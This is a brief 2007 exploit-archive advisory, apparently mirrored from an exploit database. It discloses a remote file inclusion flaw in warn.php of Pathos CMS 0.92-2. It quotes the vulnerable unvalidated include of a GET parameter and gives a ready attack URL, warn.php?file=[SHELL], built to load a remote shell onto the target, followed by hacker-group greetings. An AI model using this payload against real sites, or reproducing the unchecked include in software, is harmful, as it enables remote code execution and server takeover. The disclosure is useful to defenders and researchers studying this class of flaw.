[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : Pathos CMS 0.92-2 (warn.php file) Remote File Inclusion Vulnerability
# Published : 2007-04-09
# Author : kezzap66345
# Previous Title : PHP121 Instant Messenger 2.2 Local File Inclusion Vulnerability
# Next Title : Scorp Book 1.0 (smilies.php config) Remote File Inclusion Vulnerability 


Pathos Content Management System
*****************
Found by kezzap66345 *
*****************
*****************
Script download::    http://sourceforge.net/projects/pathos/
Direct link     :
http://sourceforge.net/project/showfiles.php?group_id=103303&package_id=110862&release_id=243512

*****************
*****************
ERROR#1:
File:warn.php
*****************

include_once($_GET['file'] . ".html");   <<< rfi coded


**************************************************************************************
RFI#1:

http://SITE.com/path/warn.php?file=[SHELL]


**************************************************************************************
**************************************************************************************
Thanks:@_-_-_| i!..:: S.H.i.K.a.A ::..!i
****x0r0n**********..:a.j.a.n..:*************
**************************************************************************************
**************************************************************************************
**************************************************************************************
**************************************************************************************
******Thanx****SiiRCiCOCUK****str0ke**************************************************

# www.Syue.com [2007-04-09]